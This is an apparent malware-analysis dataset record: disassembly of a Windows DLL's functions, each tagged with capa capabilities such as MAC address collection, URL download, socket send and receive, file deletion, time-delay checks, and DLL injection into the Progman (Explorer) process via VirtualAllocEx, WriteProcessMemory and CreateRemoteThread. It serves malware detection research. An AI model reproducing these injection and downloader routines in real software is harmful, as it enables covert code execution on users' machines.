joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180007090
Capabilities:
Get mac address on windows

Disassembly:
push rbp
push r13
push r14
sub rsp, 0x50
or r13d, 0xffffffff
call fcn.180006890
mov ecx, 0x2c0
mov r14d, eax
call fcn.18001790c
cmp qword [0x18003df98], 0
mov rbp, rax
mov dword [rsp + 0x70], 0x2c0
je 0x1800070d1
xor eax, eax
add rsp, 0x50
pop r14
pop r13
pop rbp
ret
lea rcx, str.GetMacByAdapters
call fcn.180003e90
lea rdx, [rsp + 0x70]
mov rcx, rbp
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x180007103
mov rcx, rbp
call fcn.1800178cc
mov ecx, dword [rsp + 0x70]
call fcn.18001790c
mov rbp, rax
lea rdx, [rsp + 0x70]
mov rcx, rbp
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r12
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x1800072b0
mov rdi, rbp
test rbp, rbp
je 0x1800072bd
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], rsi
nop dword [rax + rax]
lea rcx, [rdi + 0xc]
call fcn.1800069c0
test eax, eax
jne 0x180007172
lea rcx, [rdi + 0xc]
call fcn.180006b00
test eax, eax
jne 0x180007172
cmp qword [rdi], 0
je 0x180007172
lea rdx, [rdi + 0xc]
lea rcx, [0x180032e10]
call fcn.180003e90
jmp 0x1800071b0
xor esi, esi
lea rbx, [rdi + 0x1b8]
test r14d, r14d
je 0x1800071c2
test rbx, rbx
je 0x18000719f
lea rcx, [rbx + 8]
call qword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, dword [0x18003dfa8]
je 0x1800071bd
mov rbx, qword [rbx]
test rbx, rbx
jne 0x180007185
cmp qword [rdi], rsi
je 0x1800071c2
lea rcx, [0x180032df0]
call fcn.180003e90
mov rdi, qword [rdi]
test rdi, rdi
jne 0x180007140
jmp 0x1800072a3
mov esi, 1
lea rcx, str.bGetIP__d_bMatchAddress__d
mov r8d, esi
mov edx, r14d
call fcn.180003e90
test rbx, rbx
je 0x18000721a
mov rcx, qword [0x18003df90]
test rcx, rcx
jne 0x180007203
lea rcx, [rbx + 8]
call fcn.1800018c0
lea rcx, [0x180032dc0]
mov qword [0x18003df90], rax
call fcn.180003e90
jmp 0x180007253
lea rdx, [rbx + 8]
call fcn.180001ab0
lea rcx, [0x180032dc0]
call fcn.180003e90
jmp 0x180007253
mov rcx, qword [0x18003df90]
test rcx, rcx
jne 0x18000723b
lea rcx, [rdi + 0x1c0]
call fcn.1800018c0
mov qword [0x18003df90], rax
jmp 0x180007247
lea rdx, [rdi + 0x1c0]
call fcn.180001ab0
lea rcx, [0x180032dd0]
call fcn.180003e90
movzx ecx, byte [rdi + 0x19c]
movzx eax, byte [rdi + 0x19d]
movzx r10d, byte [rdi + 0x19b]
movzx r9d, byte [rdi + 0x19a]
movzx r8d, byte [rdi + 0x199]
movzx edx, byte [rdi + 0x198]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
lea rcx, str._02x__02x__02x__02x__02x__02x
mov dword [rsp + 0x20], r10d
call fcn.180001930
xor r13d, r13d
mov qword [0x18003df98], rax
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
test rbp, rbp
je 0x1800072bd
mov rcx, rbp
call fcn.1800178cc
mov r12, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov eax, r13d
add rsp, 0x50
pop r14
pop r13
pop rbp
ret
Function at 0x1800073b0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor edi, edi
mov rbx, rdx
test rdx, rdx
jne 0x1800073f4
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rbx, rax
test rax, rax
jne 0x1800073dd
mov rbx, rdi
jmp 0x1800073f4
mov rdx, rax
mov ecx, 0x106
mov dword [rax + 4], edi
call fcn.180001120
mov qword [rbx + 8], rax
mov byte [rax], dil
mov edx, dword [rbx]
cmp edx, 0x105
jge 0x18000741e
mov rcx, qword [rbx + 8]
call fcn.180001240
mov rdx, rbx
mov ecx, 0x107
call fcn.180001120
mov qword [rbx + 8], rax
mov byte [rax], dil
mov dword [rbx + 4], edi
movsxd r8, dword [rbx]
mov rcx, qword [rbx + 8]
xor edx, edx
call fcn.18001f340
mov rdx, qword [rbx + 8]
xor r9d, r9d
lea r8d, [r9 + 0x24]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov rdi, qword [rbx + 8]
or rcx, 0xffffffffffffffff
xor eax, eax
lea r8, [0x180032a18]
lea rdx, [0x180032a14]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov dword [rbx + 4], ecx
mov rcx, rbx
call fcn.180001c50
movsxd rcx, dword [rbx + 4]
mov rax, qword [rbx + 8]
cmp byte [rcx + rax - 1], 0x2f
je 0x18000748e
lea rdx, [0x180032a18]
mov r8d, 1
mov rcx, rbx
call fcn.180001440
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18000d300
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp byte [0x18003e000], 0
mov edi, ecx
jne 0x18000d3f9
lea rbx, [0x18003e000]
mov edx, 0x100
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test edi, edi
jne 0x18000d35a
mov rax, qword [str.C:_Windows_SysWOW64_]
mov qword [rbx], rax
mov rax, qword [0x180033130]
mov qword [rbx + 8], rax
mov eax, dword [0x180033138]
mov dword [rbx + 0x10], eax
movzx eax, byte [0x18003313c]
mov byte [rbx + 0x14], al
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
xor r8d, r8d
not rcx
dec rcx
test ecx, ecx
jle 0x18000d399
mov rdx, rbx
cmp byte [rdx], 0x5c
jne 0x18000d37d
mov byte [rdx], 0x2f
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
inc r8d
inc rdx
not rcx
dec rcx
cmp r8d, ecx
jl 0x18000d375
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
cmp byte [rcx + rbx - 2], 0x2f
je 0x18000d3c2
mov rdi, rbx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x180032a18]
mov word [rdi - 1], ax
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
mov rcx, qword [str.rundll32.exe]
mov rax, rbx
mov qword [rdi - 1], rcx
mov ecx, dword [0x180033148]
mov dword [rdi + 7], ecx
movzx ecx, byte [0x18003314c]
mov byte [rdi + 0xb], cl
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea rax, [0x18003e000]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x18000d720
Capabilities:
Check mutex on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x20
mov rbx, qword [rcx + 8]
mov r12, rdx
mov rbp, rcx
lea r8, [rbx + 0x333c4]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
mov rsi, rax
test rax, rax
jne 0x18000d779
lea r8, [rbx + 0x333c4]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rsi, rax
test rax, rax
je 0x18000d785
or edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [rbp + 8]
xor edi, edi
xor eax, eax
add rbx, 4
cmp dword [rbx], 0xffffffff
je 0x18000d7aa
inc rax
inc edi
add rbx, 0x1004
cmp rax, 0x1e
jl 0x18000d791
jmp 0x18000d7d1
lea rcx, str.RCallAdd__s
mov rdx, r12
call fcn.180003e90
lea rcx, [rbx + 4]
mov r8d, 0xfff
mov rdx, r12
call fcn.1800181c0
mov dword [rbx], 0
test rsi, rsi
je 0x18000d7df
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
or eax, 0xffffffff
cmp edi, 0x1e
cmove edi, eax
mov eax, edi
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
Function at 0x18000dd30
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r13
push r14
sub rsp, 0x60
xor edi, edi
mov rsi, r9
mov r13, r8
mov rbp, rdx
mov r14, rcx
test rcx, rcx
jne 0x18000dd5d
xor eax, eax
jmp 0x18000de98
mov qword [rsp + 0x88], r12
test r8, r8
je 0x18000de8e
test rdx, rdx
je 0x18000de8e
mov r12, qword [rsp + 0xa0]
test r12, r12
je 0x18000de8e
mov rcx, r9
mov qword [rsp + 0x80], rbx
call fcn.180002090
mov rbx, rax
test rax, rax
je 0x18000ddf0
mov rcx, rax
call fcn.180001f40
mov r8, qword [rbx + 8]
mov r11, rbp
sub r8, rbp
movzx edx, byte [r11]
movzx ecx, byte [r11 + r8]
sub edx, ecx
jne 0x18000ddc6
inc r11
test ecx, ecx
jne 0x18000ddb2
test edx, edx
jne 0x18000ddcf
lea edi, [rdx + 1]
jmp 0x18000dde8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, rsi
call fcn.180003a10
or ecx, 0xffffffff
cmp al, 1
cmove edi, ecx
mov rcx, rbx
call fcn.180001800
mov rbx, qword [rsp + 0xa8]
mov dword [rsp + 0x30], edi
lea rcx, [0x1800331f0]
mov r9, r13
mov r8, rbp
mov rdx, rbx
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rsi
call fcn.180003e90
mov r11, qword [rsp + 0xd0]
mov rax, qword [rsp + 0xc8]
mov r9, r12
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xb8]
mov r8, rsi
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xb0]
mov rdx, r13
mov qword [rsp + 0x30], rax
mov rcx, rbp
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], edi
call fcn.18000d880
mov rdx, r14
mov rcx, rax
call fcn.180002300
mov rbx, qword [rsp + 0x80]
mov rax, r14
jmp 0x18000de90
xor eax, eax
mov r12, qword [rsp + 0x88]
lea r11, [rsp + 0x60]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop rdi
ret
Function at 0x18000e150
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x250
mov esi, dword [rsp + 0x290]
mov rdi, rcx
mov r12, r9
movzx ecx, si
mov byte [rax + 0x13], r8b
mov byte [rax + 0x12], dl
call qword [sym.imp.WS2_32.dll_htons]
xor r13d, r13d
mov word [rsp + 0x278], ax
mov ebx, r13d
nop word [rax + rax]
lea rax, [rsp + 0x30]
lea r8, [rsp + 0x40]
lea ecx, [rdi + 1]
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x34], r13d
mov qword [rsp + 0x48], rdi
mov dword [rsp + 0x40], 1
call qword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x18000e23f
lea rdx, [rsp + 0x40]
mov rcx, rdi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x18000e23f
movsxd rax, ebx
mov r8d, 4
xor r9d, r9d
lea rdx, [rsp + rax + 0x278]
sub r8d, ebx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x18000e23f
add ebx, eax
cmp ebx, 4
jl 0x18000e1a0
test esi, esi
jle 0x18000e23b
mov r9d, 0x3e8
mov r8d, esi
mov rdx, r12
mov rcx, rdi
call fcn.180004320
cmp esi, eax
je 0x18000e23b
mov eax, 0xfffffffe
jmp 0x18000e242
xor eax, eax
jmp 0x18000e242
or eax, 0xffffffff
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rdi
ret

Function at 0x18000e260
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x240
xor r13d, r13d
mov rsi, r8
mov rbp, rdx
mov ebx, r13d
mov rdi, rcx
nop word [rax + rax]
lea rax, [rsp + 0x268]
lea rdx, [rsp + 0x30]
lea ecx, [rdi + 1]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x268], 3
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x26c], r13d
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], 1
call qword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x18000e375
lea rdx, [rsp + 0x30]
mov rcx, rdi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x18000e375
mov r8d, 4
movsxd rdx, ebx
xor r9d, r9d
sub r8d, ebx
add rdx, rbp
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x18000e35d
add ebx, eax
cmp ebx, 4
jl 0x18000e290
movzx ecx, word [rbp]
call qword [sym.imp.WS2_32.dll_htons]
movzx ebx, ax
mov eax, dword [rsi]
dec eax
cmp ebx, eax
jle 0x18000e339
lea edx, [rbx + 1]
mov rcx, rsi
call fcn.180001870
test ebx, ebx
jle 0x18000e36e
mov rdx, qword [rsi + 8]
mov r9d, 0x7d0
mov r8d, ebx
mov rcx, rdi
call fcn.1800043f0
cmp eax, ebx
je 0x18000e36e
mov eax, 0xfffffffe
jmp 0x18000e37a
cmp eax, 0xfffffc88
je 0x18000e375
cmp eax, 4
je 0x18000e319
or eax, 0xffffffff
jmp 0x18000e37a
mov dword [rsi + 4], ebx
xor eax, eax
jmp 0x18000e37a
mov eax, 1
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
Function at 0x18000ecd0
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rbx, [rcx + 8]
mov word [rcx + 2], dx
lea rax, [rcx + 0x18]
mov qword [rbx], 0
mov edx, reloc.WS2_32.dll_inet_ntoa
nop word [rax + rax]
mov qword [rax], 0xffffffffffffffff
mov qword [rax + 8], 0xffffffffffffffff
mov qword [rax + 0x10], 0xffffffffffffffff
add rax, 0x40
dec rdx
mov qword [rax - 0x28], 0xffffffffffffffff
mov qword [rax - 0x20], 0xffffffffffffffff
mov qword [rax - 0x18], 0xffffffffffffffff
mov qword [rax - 0x10], 0xffffffffffffffff
mov qword [rax - 8], 0xffffffffffffffff
jne 0x18000ed00
mov qword [rax], 0xffffffffffffffff
mov qword [rax + 8], 0xffffffffffffffff
mov qword [rax + 0x10], 0xffffffffffffffff
mov qword [rax + 0x18], 0xffffffffffffffff
lea rax, [rsp + 0x48]
mov r9, rcx
mov byte [rcx], 1
mov qword [rsp + 0x28], rax
lea r8, [0x18000eb30]
xor ecx, ecx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x18000edb4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
test rbx, rbx
je 0x18000edb6
mov qword [rbx], rdi
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x18000edd0
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x48], rax
movzx r15d, r8b
mov r12, rdx
lea r13, [rcx + 0x18]
xor r14d, r14d
cmp qword [r13], 0xffffffffffffffff
je 0x18000ef15
mov eax, dword [r12 + 0xc]
xor edi, edi
xor esi, esi
test eax, eax
jle 0x18000eee7
cmp edi, eax
jge 0x18000ee31
test rsi, rsi
js 0x18000ee31
mov rax, qword [r12 + 0x10]
mov rbx, qword [rax + rsi*8]
jmp 0x18000ee33
xor ebx, ebx
cmp dword [rbx + 0x50], 0
jne 0x18000ee72
mov r8, qword [rbx]
mov rdx, qword [rbx + 0x18]
mov rcx, qword [r13]
mov r8, qword [r8 + 8]
mov rdx, qword [rdx + 8]
call fcn.18000e3a0
mov ebp, eax
test eax, eax
jne 0x18000ee60
mov dword [rbx + 0x50], 1
jmp 0x18000ee72
mov rcx, qword [rbx + 0x18]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test ebp, ebp
js 0x18000ee82
mov eax, dword [r12 + 0xc]
inc edi
inc rsi
cmp edi, eax
jl 0x18000ee21
jmp 0x18000eee7
mov rcx, qword [r13]
lea r8, [rsp + 0x24]
lea rdx, [rsp + 0x28]
mov dword [rsp + 0x24], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_getpeername]
movzx ecx, word [rsp + 0x2a]
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [r13]
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x38]
movzx ebx, ax
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_getpeername]
mov ecx, dword [rsp + 0x3c]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [0x180033398]
mov r9d, ebx
mov r8, rax
mov edx, r14d
call fcn.180003e90
mov rcx, qword [r13]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [r13]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [r13], 0xffffffffffffffff
cmp r15b, 1
jne 0x18000ef15
cmp edi, dword [r12 + 0xc]
je 0x18000ef26
inc r14d
add r13, 8
cmp r14d, 0x64
jl 0x18000ee01
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180017810
mov rbx, qword [rsp + 0xa0]
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000f0c0
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x30
mov rbx, rdx
call fcn.18000deb0
mov rsi, rax
test rax, rax
je 0x18000f1f4
mov r9, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
lea rcx, [0x1800333d0]
mov r9, qword [r9 + 8]
mov r8, qword [r8 + 8]
mov rdx, rbx
mov qword [rsp + 0x40], rdi
call fcn.180003e90
mov rdx, qword [rsi + 0x18]
mov rax, qword [rsi + 0x10]
mov r8, qword [rdx + 8]
xor r9d, r9d
mov rdx, qword [rax + 8]
xor ecx, ecx
mov qword [rsp + 0x20], 0
call sub.urlmon.dll_URLDownloadToFileA
mov edi, eax
test eax, eax
je 0x18000f157
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._08X___d
mov edx, edi
mov r8d, eax
call fcn.180003e90
mov eax, 0xfffffd11
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rsi
ret
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
cmp rcx, 5
jb 0x18000f147
mov rcx, qword [rsi + 0x18]
mov rcx, qword [rcx + 8]
call fcn.180002090
mov rdi, rax
test rax, rax
je 0x18000f1df
mov rcx, rax
call fcn.180001f40
mov rdx, qword [rdi + 8]
sub rbx, rdx
movzx eax, byte [rdx]
movzx ecx, byte [rdx + rbx]
sub eax, ecx
jne 0x18000f1a4
inc rdx
test ecx, ecx
jne 0x18000f192
test eax, eax
jne 0x18000f1c2
mov rcx, rdi
call fcn.180001800
mov rdi, qword [rsp + 0x40]
xor eax, eax
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rsi
ret
mov rcx, rdi
call fcn.180001800
mov rdi, qword [rsp + 0x40]
mov eax, 0xfffffd0f
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rsi
ret
mov eax, 0xfffffd10
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rsi
ret
mov eax, 0xfffffd12
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rsi
ret
Function at 0x180013610
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp byte [0x18003e120], 0
mov edi, ecx
jne 0x180013709
lea rbx, [0x18003e120]
mov edx, 0x100
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test edi, edi
jne 0x18001366a
mov rax, qword [str.C:_Windows_SysWOW64_]
mov qword [rbx], rax
mov rax, qword [0x180033130]
mov qword [rbx + 8], rax
mov eax, dword [0x180033138]
mov dword [rbx + 0x10], eax
movzx eax, byte [0x18003313c]
mov byte [rbx + 0x14], al
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
xor r8d, r8d
not rcx
dec rcx
test ecx, ecx
jle 0x1800136a9
mov rdx, rbx
cmp byte [rdx], 0x5c
jne 0x18001368d
mov byte [rdx], 0x2f
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
inc r8d
inc rdx
not rcx
dec rcx
cmp r8d, ecx
jl 0x180013685
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
cmp byte [rcx + rbx - 2], 0x2f
je 0x1800136d2
mov rdi, rbx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x180032a18]
mov word [rdi - 1], ax
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
mov rcx, qword [str.rundll32.exe]
mov rax, rbx
mov qword [rdi - 1], rcx
mov ecx, dword [0x180033148]
mov dword [rdi + 7], ecx
movzx ecx, byte [0x18003314c]
mov byte [rdi + 0xb], cl
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea rax, [0x18003e120]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x180014ac0
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov edi, ecx
mov ecx, reloc.WS2_32.dll_recv
mov rbx, rdx
call fcn.18001790c
mov rsi, rax
mov dword [rax], edi
test rbx, rbx
jne 0x180014b19
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rdi, rax
test rax, rax
je 0x180014b36
mov rdx, rax
mov ecx, recvfrom
mov dword [rax + 4], 0
call fcn.180001120
mov qword [rdi + 8], rax
mov byte [rax], 0
jmp 0x180014b36
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, rbx
call fcn.1800012d0
mov rdi, rax
lea rax, [rsp + 0x40]
lea r8, [0x180014a10]
mov r9, rsi
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 4
mov qword [rsi + 8], rdi
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x180014b7a
mov eax, 1
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
xor eax, eax
add rsp, 0x30
pop rdi
ret
Function at 0x180014f50
Capabilities:
Check for time delay via gettickcount

Disassembly:
push r13
sub rsp, 0x30
cmp qword [rcx + 8], 0
mov r13, rcx
jne 0x180014f6a
or eax, 0xffffffff
add rsp, 0x30
pop r13
ret
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor r14d, r14d
mov qword [rsp + 0x48], rbp
mov rbx, r14
mov qword [rsp + 0x50], rsi
mov r12d, eax
nop word [rax + rax]
mov rdi, qword [r13 + 8]
cmp dword [rbx + rdi + 0x1e07c], r14d
jne 0x180015023
mov ecx, dword [rbx + rdi + 0x1e084]
test ecx, ecx
je 0x180015023
cmp r12d, ecx
jbe 0x180015023
mov eax, r12d
sub eax, ecx
cmp eax, 0x4e20
jbe 0x180015023
lea rsi, [rbx + rdi + 0x1e088]
mov rcx, rsi
call fcn.180005fd0
mov ebp, eax
cmp byte [rbx + rdi + 0x1f088], r14b
je 0x180015010
lea rcx, [0x1800339b0]
mov rdx, rsi
call fcn.180003e90
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbx + rdi + 0x1e080], ebp
add eax, 0x9c40
mov dword [rbx + rdi + 0x1e084], eax
jmp 0x180015023
mov dword [rbx + rdi + 0x1e084], r14d
mov dword [rbx + rdi + 0x1e07c], 0xffffffff
add rbx, 0x1010
cmp rbx, 0x14140
jl 0x180014fa0
mov r14, qword [rsp + 0x20]
mov r12, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop r13
ret
Function at 0x1800172c0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rdi
sub rsp, 0x2a0
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x290], rax
call fcn.180005640
lea rcx, str.Progman
xor edi, edi
xor edx, edx
mov dword [rsp + 0x40], edi
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x180017317
lea rcx, str.Progman
xor edx, edx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [rsp + 0x40], edi
je 0x18001746f
lea rcx, str.Progman
xor edx, edx
mov qword [rsp + 0x2b0], rbx
mov dword [rsp + 0x40], edi
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x18001735e
lea rcx, str.Progman
xor edx, edx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rsp + 0x40]
xor edx, edx
lea ecx, [rdx + 0x2a]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180017467
lea r8, [rsp + 0x48]
lea rdx, [fcn.1800172c0]
mov r9d, gethostbyname
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x2b8], rsi
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x80]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rbx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x180017456
lea r8, [rsp + 0x80]
mov r9d, 0x104
mov rdx, rax
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180017441
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x30], rdi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
test rax, rax
je 0x180017441
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x2b8]
mov rbx, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.180017810
add rsp, 0x2a0
pop rdi
ret